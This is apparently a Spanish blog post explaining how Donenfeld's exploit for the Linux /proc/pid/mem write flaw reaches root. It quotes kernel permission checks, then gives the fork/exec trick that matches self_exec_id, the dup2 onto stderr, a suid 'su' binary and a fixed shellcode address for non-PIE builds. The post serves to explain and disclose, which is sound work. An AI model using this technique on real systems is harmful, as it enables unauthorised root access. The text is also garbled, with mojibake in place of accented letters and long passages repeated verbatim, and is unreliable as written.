Cuando se abre /proc/#pid#/mem se usa la funci贸n 'mem_open'. Dicha funci贸n almacena el 'self_exec_id' correspondiente al proceso que solicita la apertura. Esto se hace para comprobar posteriormente si son suficientes privilegios cuando se efect煤an operaciones de lectura o escritura sobre el descriptor de fichero obtenido.
C贸digo:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
En el caso de la operaci贸n de escritura se hace la comprobaci贸n del 'self_exec_id' adem谩s de llamar a 'check_mem_permission'. En teor铆a, para escribir en /proc/#pid#/mem, o se es el mismo proceso #pid# o el
proceso tiene ciertos permisos especiales relacionados con ptrace.
proceso tiene ciertos permisos especiales relacionados con ptrace.
C贸digo:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
...
...
Se llama a 'check_mem_permission' y si 'mm' vuelve con error no se efect煤a la operaci贸n:
C贸digo:
mm = check_mem_permission(task); copied = PTR_ERR(mm); if (IS_ERR(mm)) goto out_free;
C贸digo:
'check_mem_permission' simplemente llama a '__check_mem_permission' y como se observa dentro de su c贸digo efect煤a la comprobaci贸n "task ==current":
C贸digo:
static struct mm_struct *__check_mem_permission(struct task_struct
*task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
...
...
Si no coinciden devuelve error. Luego debe ser el mismo proceso el que escriba en su propia memoria y si queremos elevar privilegios necesitar铆amos un proceso con 'suid'.
Primera aproximaci贸n al exploit
Donenfeld se figur贸 c贸mo hacer esto:
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy
Cualquier cosa que se escriba pasa por la memoria del proceso creado por 'su' (que posee 'suid'). Parecia obvio qu茅 hacer:
Abrimos '/proc/self/mem' y obtenemos su descriptor de archivo. Ejecutamos 'dup2' para multiplexarlo con 'stderr'. Escribimos nuestro shellcode en 茅l y ejecutando posteriormente con exec obtendr铆amos root... pero no.
Esto no iba a funcionar debido a que aun queda otra restricci贸n m谩s:
Primera aproximaci贸n al exploit
Donenfeld se figur贸 c贸mo hacer esto:
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy
Cualquier cosa que se escriba pasa por la memoria del proceso creado por 'su' (que posee 'suid'). Parecia obvio qu茅 hacer:
Abrimos '/proc/self/mem' y obtenemos su descriptor de archivo. Ejecutamos 'dup2' para multiplexarlo con 'stderr'. Escribimos nuestro shellcode en 茅l y ejecutando posteriormente con exec obtendr铆amos root... pero no.
Esto no iba a funcionar debido a que aun queda otra restricci贸n m谩s:
C贸digo:
if (file->private_data != (void *)((long)current->self_exec_id)) goto out_mm;
El 'self_exec_id' del proceso que va a ejecutar la escritura 'exec' ha de ser el mismo que abri贸 originalmente '/proc/#pid#/mem', recordad m谩s arriba cuando se llama a 'mem_open'.
¿Por qu茅 ha cambiado 'self_exec_id'?
Cuando se llama a 'exec' el 'self_exec_id', es aumentado en 1 impidiendo que esto ocurra:
C贸digo:
void setup_new_exec(struct linux_binprm * bprm)
{
...
...
current->self_exec_id++;
Resumiendo. No podemos abrir el '/proc/#pid#/mem' de un proceso cualquiera, hacer 'dup2' con 'stderr' y luego hacer 'exec' de un proceso con 'suid' para escribir all铆, ya que al hacer 'exec' no van a coincidir los 'self_exec_id'.
Donenfeld solucion贸 esto de manera sencilla pero ingeniosa, muy ingeniosa.
El exploit
Se hace 'fork' de un proceso y en este hijo se ejecuta 'exec' a un nuevo proceso. De este modo el 'self_exec_id', que se ha heredado del padre, ahora tiene un valor de +1 con respecto al padre.
Ahora hacemos que el padre ejecute 'exec' sobre un proceso 'suid' que va a escribir nuestro shellcode. En este momento, al ejecutar 'exec' en el padre su 'self_exec_id' acaba de aumentar a +1 coincidiendo con el del hijo.
Mientras tanto en el proceso 'exec' que ha llamado el hijo se obtiene, al abrir, el descriptor del '/pro /#parent_pid#/mem'; y es posible abrirlo porque no existe restricci贸n en la operaci贸n de apertura. Es decir, no van a ser comprobados los privilegios del 'exec' que ha creado el hijo.
En este momento tenemos un 'exec' del padre con un proceso 'suid' dispuesto a escribir el shellcode. Un 'exec' del hijo con un descriptor del '/proc/#pid#/mem' del padre y la salida 'stderr' acoplada a ese descriptor (llamada a 'dup2') y lo m谩s importante, tenemos los 'self_exec_id' igualados por lo tanto la restricci贸n ha sido evadida.
Solo queda que el hijo pase el descriptor al padre y 茅ste va a escribir el shellcode all铆 ya que cuando llame a 'mem_write', como hemos dicho, las comprobaciones van a ser correctas.
Pero a煤n queda m谩s, averiguar "d贸nde" se debe escribir en memoria para poder ejecutar de manera exitosa el shellcode. Se necesita una direcci贸n fija de memoria, algo que podr铆a ser complicado si se usa ASLR, pero Donenfeld observ贸 que la mayor铆a de binarios 'su' de las distribuciones no est谩n compilados con 'PIE'(Position-independent executable)
Podemos observarlo si hacemos:
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
Como el mismo Donenfeld apunta, si el 'Type' fuera 'DYN' entonces si podr铆a protegerse con ASLR debido a que el ejecutable permitir铆a ser reubicado en distintas posiciones de memoria. Al no ser el caso el desplazamiento en memoria siempre va a ser el mismo.
Buscando Donenfeld obtuvo la direcci贸n 0x402178, correspondiente a una llamada a 'exit@plt'. Tan solo ten铆a que escribir en 0x402178 menos la longitud de la cadena 'Unknown id: ' y su shellcode se ejecutar铆a.
En definitiva, un exploit m谩s interesante que la propia vulnerabilidad que explota y una muestra de ingenio por parte de Donenfeld al conseguir la explotaci贸n de la forma que hemos visto.
Donenfeld solucion贸 esto de manera sencilla pero ingeniosa, muy ingeniosa.
El exploit
Se hace 'fork' de un proceso y en este hijo se ejecuta 'exec' a un nuevo proceso. De este modo el 'self_exec_id', que se ha heredado del padre, ahora tiene un valor de +1 con respecto al padre.
Ahora hacemos que el padre ejecute 'exec' sobre un proceso 'suid' que va a escribir nuestro shellcode. En este momento, al ejecutar 'exec' en el padre su 'self_exec_id' acaba de aumentar a +1 coincidiendo con el del hijo.
Mientras tanto en el proceso 'exec' que ha llamado el hijo se obtiene, al abrir, el descriptor del '/pro /#parent_pid#/mem'; y es posible abrirlo porque no existe restricci贸n en la operaci贸n de apertura. Es decir, no van a ser comprobados los privilegios del 'exec' que ha creado el hijo.
En este momento tenemos un 'exec' del padre con un proceso 'suid' dispuesto a escribir el shellcode. Un 'exec' del hijo con un descriptor del '/proc/#pid#/mem' del padre y la salida 'stderr' acoplada a ese descriptor (llamada a 'dup2') y lo m谩s importante, tenemos los 'self_exec_id' igualados por lo tanto la restricci贸n ha sido evadida.
Solo queda que el hijo pase el descriptor al padre y 茅ste va a escribir el shellcode all铆 ya que cuando llame a 'mem_write', como hemos dicho, las comprobaciones van a ser correctas.
Pero a煤n queda m谩s, averiguar "d贸nde" se debe escribir en memoria para poder ejecutar de manera exitosa el shellcode. Se necesita una direcci贸n fija de memoria, algo que podr铆a ser complicado si se usa ASLR, pero Donenfeld observ贸 que la mayor铆a de binarios 'su' de las distribuciones no est谩n compilados con 'PIE'(Position-independent executable)
Podemos observarlo si hacemos:
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
Como el mismo Donenfeld apunta, si el 'Type' fuera 'DYN' entonces si podr铆a protegerse con ASLR debido a que el ejecutable permitir铆a ser reubicado en distintas posiciones de memoria. Al no ser el caso el desplazamiento en memoria siempre va a ser el mismo.
Buscando Donenfeld obtuvo la direcci贸n 0x402178, correspondiente a una llamada a 'exit@plt'. Tan solo ten铆a que escribir en 0x402178 menos la longitud de la cadena 'Unknown id: ' y su shellcode se ejecutar铆a.
En definitiva, un exploit m谩s interesante que la propia vulnerabilidad que explota y una muestra de ingenio por parte de Donenfeld al conseguir la explotaci贸n de la forma que hemos visto.
M谩s informaci贸n:
Parche de Linus Torvalds
Commit de la eliminaci贸n de la protecci贸n de escritura
* Linux Local Privilege Escalation via SUID /proc/pid/mem Write
Suscribirse a:
Comentarios (Atom)





